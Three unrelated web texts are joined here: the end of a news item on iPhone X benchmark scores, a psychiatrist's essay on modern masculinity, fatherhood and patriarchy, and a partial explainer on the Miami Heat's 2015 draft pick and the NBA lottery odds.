MacBook Pro 13-inch (2017 Core i5): 4342 single, 9194 multi
Of course, it also far surpasses last year’s iPhone 7, which scored a 1825 on the single core test and a 3118 on the multi-core one. Granted, benchmarks aren’t everything, but it’s not like we expect the iPhone X to perform poorly despite good benchmarks.
This test also seems to confirm recent leaks that Apple is increasing the core count from two to six with a new A11 chip. Two of the cores are meant to do the bulk of intensive processing, while the other four are high efficiency cores dedicated to low-power tasks.
So yeah, Apple’s apparently built a smartphone that’s faster than a 2017 laptop, at least by GeekBench’s metrics. Technology, amirite?
h/t @KidPoolDead
Follow all our coverage of Apple’s iPhone X event here. We’re also hosting a live chat, in which we’ll discuss the new products and updates: join us on this page.
iPhone 10.5 on GeekBench
Read next: US authorities conclude last year’s fatal Tesla crash was mostly human errorAs I get older and perhaps wiser, I realise more and more what I do not know. I still don't know what makes people happy although I am a good deal more knowledgeable about what makes them sad. I don't know now whether there is a God, when once I did believe and with a passionate conviction. I don't know whether good mothers are born or made, what turns some people into leaders and others into the led, nor whether in my lifetime we will see the cure for cancer, schizophrenia or Alzheimer's disease.
What I do know is what it is like to be a man. However, as I reflect on how I learned about masculinity and manhood, I realise that almost all the teaching was implicit and all the learning by way of a kind of osmotic process. I don't recall anyone, my father, my mother, my teachers, my peers, saying 'This is what it means to be a man, a son, a brother, a lover, a dad'. Yet I learned very early on that what a man does; his work is as important as, even more important than, who he is; that a man is defined in modern capitalistic society in terms not of being but doing.
My career, particularly my medical career, was always portrayed and interpreted, by others as much as by myself, as more important than spouse, family, friends. During my undergraduate and postgraduate training, first in medicine, then in psychiatry, I never ever witnessed a male colleague admitting to putting his family first. Male colleagues would blithely arrange late evening meetings of this or that committee and be surprised and irritated when female colleagues pointed out that domestic duties made their attendance impossible. For a male to make such a statement would have marked him as someone not committed to his job. Most male colleagues were busy demonstrating how they worked all the hours God gave them. It was like chimps beating their chests and baring their teeth. Often, it was just about as productive.
In an interview published in the New York Times back in 1912, Carl Jung observed that the libido of American men:
is focused almost entirely on his business, so that as a husband he is glad to have no responsibilities. He gives the complete direction of his family life over to his wife. This is what you call giving independence to the American woman. It is what I call the laziness of the American man. That is why he is so kind and polite in his home and why he can fight so hard in his business. His real life is where his fight is. The lazy part of his life is where his family is. Jung was writing of American men at the turn of the last century. He could as easily have been writing of manhood, career and family life some 80 years later. He certainly could have been writing about mine. Yet, given the nature and extent of the feminist analysis and the sexual revolution of the second half of the twentieth century, much would appear to have changed for - women. But what has happened to men?
As a young psychiatrist in the late 1960s and 1970s I regularly encountered the phenomenon then known as the 'empty-nest syndrome'. It afflicted married women who, having given their lives to the rearing of their families, found when they reached their fifties that their children had grown up and gone and their spouses were off living a life of work and golf. Now, in the 1990s, I don't see so many women from empty nests. Rather I see middle-aged men, who gave their lives loyally to this company or that corporation, who sacrificed everything for it, now ruthlessly put out to grass, compulsorily retired, downsized, rendered redundant. Bewildered, they look around but their children have flown and their spouses are otherwise occupied. It is the women who now play the golf, who have jobs and friends at work. It is the men who cower in the empty nest, nervously facing what an eloquent Irish businessman friend has termed 'the forgotten future'.
From the outset of public life as a male - at school, university, medical school, debating union, postgraduate research centre, hospital - I learned to compete and pretend to a confidence I didn't often (didn't ever) feel. That is what men are required to do. As a result, one of the commonest fears of mature men is that they will be 'found out' in some mysterious fashion. As a young father, I shouted at my children in order to feel powerful, and covertly and sometimes overtly declared that manly boys didn't complain but had to be strong and responsible and suppress vulnerability, particularly if they were to avoid being bullied by other boys. As a young husband, I loved my wife and was, or so I believed, a sympathetic and liberated 'new' male. Now I am not so sure. She sacrificed much to be a committed and full-time mother. I sacrificed little to be a peripheral and very part-time dad. But I was the family provider and that counted for a great deal - to me at any rate - and I was a father to my children, even if I would have been hard put to define precisely what being a father was.
Now, the whole issue of men - the point of them, their purpose, their value, their justification - is a matter for public debate. Serious commentators declare that men are redundant, that women do not need them and children would be better off without them. At the beginning of the twenty-first century it is difficult to avoid the conclusion that men are in serious trouble. Throughout the world, developed and developing, antisocial behaviour is essentially male. Violence, sexual abuse of children, illicit drug use, alcohol misuse, gambling all are overwhelmingly male activities. The courts and prisons bulge with men. When it comes to aggression, delinquent behaviour, risk taking and social mayhem, men win gold.
And yet, for all their behaving badly, they do not seem any the happier. Throughout North America, Europe and Australia, male suicides outnumber female by a factor of between 3 and 4 to 1. The rise in the number of young men killing themselves in much of the developed world has been rightly termed an epidemic. For the old, the situation is no better. For every 6 elderly women in every 100,000 who kill themselves each year, 40 elderly men take their own lives. And these suicide figures are viewed as the tip of an iceberg of male depression, an iceberg hidden only because men are seen to be either too proud or too emotionally constipated to admit when their feelings are out of control. Men renowned for their ability and inclination to be stoned, drunk or sexually daring, appear terrified by the prospect of revealing that they can be - and often are - depressed, dependent, in need of help.
It will be said that it has always been thus and that all that is changing is that men are coming out of the emotional closet. Men, so this argument goes, having ridiculed, demeaned and patronised women's supposed emotionality, now accept the importance, the maturity, of not merely acknowledging feelings but expressing them in a civilised and open way.
Others argue that there is a genuine rise in male dissatisfaction for which there is no shortage of suggested causes. Top of the list is the growing assertiveness of women. As a consequence of the feminist revolution, so this argument goes, women are no longer prepared to be the property of patriarchal men. In this feminist revolution, male power is being overthrown. Men, like colonists seeing their empire crumble, don't like what is happening. Few women have much time for such an argument. After all, the gains that have accrued to women remain pretty miserly. Men still outnumber women in positions of power across the globe, still glower downwards through the glass ceiling, still strut the cabinet and boardrooms in every developed country in the world, the seeming masters of their fate and everybody else's. In the developing world the situation is even more unequal. The gender disparity in sharing the burden of unpaid work is stark, and for all the talk of equality women throughout the world continue to work longer hours than men and are paid very much less for it. The colonists are still in command.
In the circumstances, female impatience with male sensitivities is understandable. But it may be missing the point. It is true that patriarchy has not been overthrown. But its justification is in disarray. The colonists have not been displaced but the colonised are planning, discussing, organising, and, in a number of small, well-planned uprisings, have demonstrated their capability. There is a sense, certainly in the outlying areas of the patriarchal empire, that the time for male authority, dominance and control is up. Beneath the surface, male power is being subverted. Throughout Europe - in primary schools, through secondary education and right into the universities - girls are outperforming boys. In the European Union, 20 per cent more women are graduating than men. On leaving school and university, women's prospects of employment exceed men's. In Germany, for example, between 1991 and 1995 twice as many men as women lost their jobs. Women actually gained 210,000 jobs while men lost 400,000. Some teenage boys reassure themselves that later on, in their twenties and thirties, the right order reasserts itself, and men regain their rightful place - on top. But that reassurance, for a variety of reasons, is sounding increasingly hollow. Women are on the march and, even if they still have a long way to go, many men, already threatened, are reacting with aggression directed at women and at themselves.
And if changes in education, training and work are not sufficient to demoralise the average man, there is the sorry, dismal, public soap opera of man's relationship with his penis. Men, who in most other areas of their lives make such a fetish of being in control, seem unable to remain masters of their sexual appetites. More darkly, there is little respite from exposure to the more savage side of male sexuality - rape, molestation, sexual violence - manifested overwhelmingly in aggression by men against women and children. Not surprisingly, many innocent men, like the relatives of torturers and killers, find themselves apologising for crimes they have not themselves committed.
But are men fearful of their feelings and, if they are, have they good reason to be? Do men feel contempt for women and, if they do, what is fuelling such contempt? It has been argued that misogyny, the hatred of women, is an inescapable element in the development of men and that, quite simply, there are no good men. Might the fear and contempt be related to a deeper fear, a more profound anxiety about male sexuality itself? Here one is treading on dangerous ground. Put a foot wrong and one risks being accused of blaming women for men's inability to control their sexual feelings and to harness their aggression. That is what many men believe and some act upon it. Women are feared, despised and sometimes even destroyed because of what men perceive women to be doing to them. To such men, their own sexuality is exciting precisely because it is unpredictable, capricious, dangerous - and women end up being blamed for provoking it. To such men, women, by their very presence, represent a most disturbing challenge to self-control. Given the extent to which control is for many men the defining mark of their masculinity, any suggestion or threat of being out of control challenges the very essence of what being a male is all about. Bill Clinton's sexual behaviour revealed that the Garden of Eden myth is alive and well and flourishing in the heart of the American empire. Men fall because women tempt them. This remains the explanation of male sexual behaviour most favoured by men. Rather than expose to a genuinely rigorous analysis the nature of male sexuality and its relationship to power, social status, aggression and control, most male commentators retreat into a self-pitying and ultimately depressing moan about the difficulty of being a full-bloodedly sexual man in a dynamic relationship with a woman in the new post-feminist world of gender equality.
In an interview with Germaine Greer in 1989 I wondered whether she accepted that behind the bluster and the posturing many men were not really as confident as they might appear. 'I don't care much about phallic insecurity', she tartly replied, adding that, after all, men created the dream of the phallus. It's men who are worried about whether the phallic department is adequate. The women are perfectly happy with all the other stuff - with social status, power, intelligence. She is absolutely right. Men do remain preoccupied with 'whether the phallic department is adequate'. They worry about the size, shape and erectile potential of their genitalia. Men, young and old, are disconcerted by mocking references to what Sylvia Plath dismissively referred to as 'old turkey neck and gizzards'. The highly successful British film, The Full Monty, explicitly drew an analogy between male inadequacy consequent on the loss of a job and male anxiety concerning genital potency. Men must bond, share, emotionally relate, must reveal themselves in full nakedness to each other and to women if they are to be fully human; so went the movie's message. Then came the ultimate copout in which everything was indeed revealed to the cinema audience - save 'old turkey neck and gizzards'!
Male preoccupation with their penises would appear to be based on fear, right enough: not on the Freudian fear of castration, but on the Adlerian fear of ridicule. Are we up to it? ask today's men anxiously, peering at their shrivelled cocks and analysing their social skills; are we up to competing, succeeding, achieving, conquering, controlling, asserting, pontificating, as well as getting it up? And there is of course the unavoidable gender inequality, the fact that, unlike the female orgasm, the male erection cannot be faked. The obvious visibility of the male genital organs, their state and size, roused and flaccid, are readily measurable and comparable. Hardly surprising, therefore, that the arrival of Viagra has been accompanied not merely by dodgy humour and gruesome double entendres but also by po-faced and panicky political discussions about the possible bankrupting of health finances due to a stampede by men to get their hands on the latest 'old turkey gizzard' stimulant.
The one biological difference between the sexes on which everybody is agreed is that whereas women possess two X-shaped sex chromosomes, men possess one X and a little Y-shaped chromosome. The Y chromosome accounts for superior male strength, stature, mass of muscle, sleight of hand, speed of foot. These attributes have been of considerable value in a world dominated by a need for physical power and energy and a raw, brutal, martial strength. We have become accustomed to thinking of'real' men as those who labour in the iron, steel and coal industries, in shipbuilding, lumberjacking, pre-mechanised farming. Our martial heroes have been almost entirely male, in the fantasies and the realities of hand-to-hand combat, of sheer physical guts, the will to survive, athletic derring-do. What price all that brute strength, might and energy now, when more people are employed making Indian curries than mining coal, when computerised robots and not sweating men assemble cars and when the male predilection for violence, far from saving national pride, threatens world survival?
There is hardly anything to be done in today's society that cannot be done by women. 'So what!' say women, not unreasonably, given the age it has taken to establish such a state of affairs. So what, indeed. The problem is one for men and particularly for those men - and they have been the majority - who have defined their lives, their identities, the very essence of their masculinity in terms of professional and occupational achievement and have prided themselves on the work that only they as men could do. My father's generation prided themselves on being providers - for their spouses, families and themselves. Today, providing seems no longer required. Married women increasingly reap the benefit of education, harness their intelligence and generate their own incomes. In one-parent families women press hard for workplace creches and better childcare facilities, as well as social security payments to compensate for male-generated finances. Not merely is the role of provider under siege, the role of father is threatened. The second millennium has ended with man's claim to a significant role in procreation and child-rearing seriously diminished. The rise in the number of single mothers suggests not merely that men are inadequate as partners and fathers but that they are simply redundant. Women are asserting that they can conceive and rear children on their own. They don't need men to father their children. The development of assisted reproduction, including techniques such as in vitro fertilisation, artificial insemination by anonymous donor and surrogate motherhood, together with the highly political and controversial assertion that single parenting is as good as that provided by two parents, raise the question - whither fatherhood? If conception, pregnancy, delivery and child-rearing can be perfectly well accomplished without the active participation of the male, then why bother with him at all, given the heartache, the trouble, the sheer cussedness of today's man? Once so proud of his penis (Freud, after all, argued that women envied it), contemporary man now finds he is being reduced to the role of support seed carrier, as women occupy centre stage not merely in the creation of new life (they have always been there) but in its nurturing. It is hardly surprising that there are some men who seriously suggest that the only way they can again play a reproductive and parental role of any significance is if they can be assisted by science to have babies themselves!
A century ago, a peevish Sigmund Freud, perplexed by a seeming epidemic of hysterical, depressed, lethargic and dissatisfied women, asked, 'What do women want?' He asked it at a time when to be a woman was to be pathological, to be male was to be health personified. A century later it is not women who are seen to be pathological, but men; it is not women's wants, but men's, that mystify us. But before we can begin to answer what men want, deserve or need, it is necessary to reassess what we know about men. What is it that the Y chromosome, the cause of all the trouble, is up to? Are men innately and incorrigibly violent? Must the issue between the sexes be for men a case of dominate or be dominated, for women a choice between being resistant or submissive? In a world of equal opportunity for the sexes, can men renegotiate the relationship with themselves and with women? Is there anything left of the male role as provider and protector? Do we need men? Do we need fathers? And if we do, what kind of men, what kind of fathers do we need?
The contemporary world is still, for the most part, divided into two spheres - the private sphere, inhabited for the most part by women, and a public sphere where men find and cultivate their identity and assert their dominance. The power of patriarchy, that set of relations of power that enable men to control women, is grounded in the belief that the public takes precedence over the private. Women struggling to escape the constraints of patriarchy are drawn into a tacit acceptance of the superior value of the public, the business, the profession and the office, and a devaluation of the private. Men, as a consequence, feel little need to reassess the priority they give to the public; indeed, the very desire of women to establish their own public legitimacy is interpreted as further proof that the public is indeed superior and the private is legitimately regarded as inferior.
In exploring the challenged state of masculinity in this book, I have chosen the term 'phallus' very deliberately. The penis is an anatomical term referring to the male generative organ. The phallus is an anthropological and theological term referring to its image. The penis is an organ with biological functions, the phallus is an idea venerated in various religions as a symbol of male power. Phallic refers not merely to the penis but incorporates notions of potency, virility, manliness, strength and power. It has been seen as the'signifier of signifiers', the mark which positions the individual as male and locates him in terms of authority, control, dominance'. The phallus'signifies what men think they have and what women are believed to lack'. Man's penis is not at issue, except for its possible redundancy as a tool of procreation. But phallic man, authoritative, dominant, assertive - man in control not merely of himself but of woman - is starting to die, and now the question is whether a new man will emerge phoenix-like in his place or whether man himself will become largely redundant.The Miami Heat missed the playoffs for the first time since 2008, and they will be on the fence about their draft pick for another month. The NBA Draft Lottery selection will take place on May 19. At that point, the Heat will know what their first round pick is, and whether or not they get to keep it.
Here is the break down of everything you need to know about that pick.
The Pick
The Miami Heat traded away it's right to their 2015 first round pick to the Cleveland Cavaliers in exchange for LeBron James. The Cavaliers traded the pick to Minnesota in part of the package that included Kevin Love. Minnesota then sent the pick the 76ers in return for Thaddeous Young.
The pick is not to be exchanged if it is a top 10 pick. Right now, the Heat are seeded as the 10th pick, but that is before the NBA Draft Lottery.
How the Lottery works
There's always some confusion about this. There are 14 teams that don't make the NBA playoffs, they are the lottery picks. Each team is given a percentage chance to land the 1st, 2nd, or 3rd pick. The lottery is for those picks. After that, the rest of the order is by seeding.
So, each team has a chance at landing in the top 3, if not, they will return to their seeding, unless a team behind them in seeding lands in the top 3.
It looks a little like this:
1. 250 combinations, 25.0% chance of receiving the #1 pick
2. 199 combinations, 19.9% chance
3. 156 combinations, 15.6% chance
4. 119 combinations, 11.9% chance
5. 88 combinations, 8.8% chance
6. 63 combinations, 6.3% chance
7. 43 combinations, 4.3% chance
8. 28 combinations, 2.8% chance
9. 17 combinations, 1.7% chance
10. 11 combinations, 1.1
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